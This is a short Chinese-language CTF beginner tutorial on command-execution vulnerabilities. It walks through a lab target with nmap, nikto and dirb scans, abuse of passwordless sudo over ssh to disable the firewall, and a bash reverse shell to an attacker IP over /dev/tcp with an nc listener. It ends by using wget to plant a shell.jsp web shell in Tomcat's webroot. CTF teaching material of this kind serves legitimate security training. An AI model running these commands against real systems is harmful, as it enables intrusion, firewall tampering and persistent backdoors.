6-8CTF夺旗入门教程--命令执行

1.命令执行漏洞介绍

当应用需要调用一些外部程序去处理内容时，会用到一些执行系统命令的函数。
如php中的system、exec、shell_exec等
当用户可以控制命令执行函数中的参数时，将可以注入 恶意系统命令到正常命令中，造成命令执行攻击
调用这些函数执行系统命令时，如果将用户的输入作为系统命令的参数拼接到命令行中，有没有过滤用户输入的情况下，就会造成命令执行漏洞

2. 信息探测

#扫描主机服务信息以及服务版本
nmap -sV 192.168.2.111
#快速扫描主机全部信息
nmap -T4 -A -v 192.168.2.111
#探测敏感信息
nikto -host http://192.168.2.111:8080
dirb http://192.168.2.111:8080

3.深入挖掘

分析nmap、nikto扫描结果，分析挖掘可以利用的信息
查看http敏感页面

4.漏洞利用

#查看临时缓冲目录
ls -alh /tmp/
#查看home目录，挖掘用户信息
ls -alh /home/
#查看具体用户的目录
ls -alh /home/用户名/
#查看系统信息
uname -a

使用ssh命令执行root权限命令

使用ssh用户名@localhost通过登录服务器不需身份验证
#查看bill用户sudu命令权限
ssh bill@localhost sudo -l
#关闭防火墙
ssh bill@localhost sudo ufw disable

5.反弹shell

#攻击机启动监听netcat
nc -nlvp 4444
#靶场机器反弹shell
ssh bill@localhost sudo bash -i >& /dev/tcp/攻击机IP/4444 0>&1

#渗透测试技巧
#开启python简易服务器
python -m SimpleHTTPServer
#利用命令执行下载木马
ssh bill@localhost sudo wget "http://ip:port/shell.jsp" -O /var/lib/tomcat8/webapps/ROOT/shell.jsp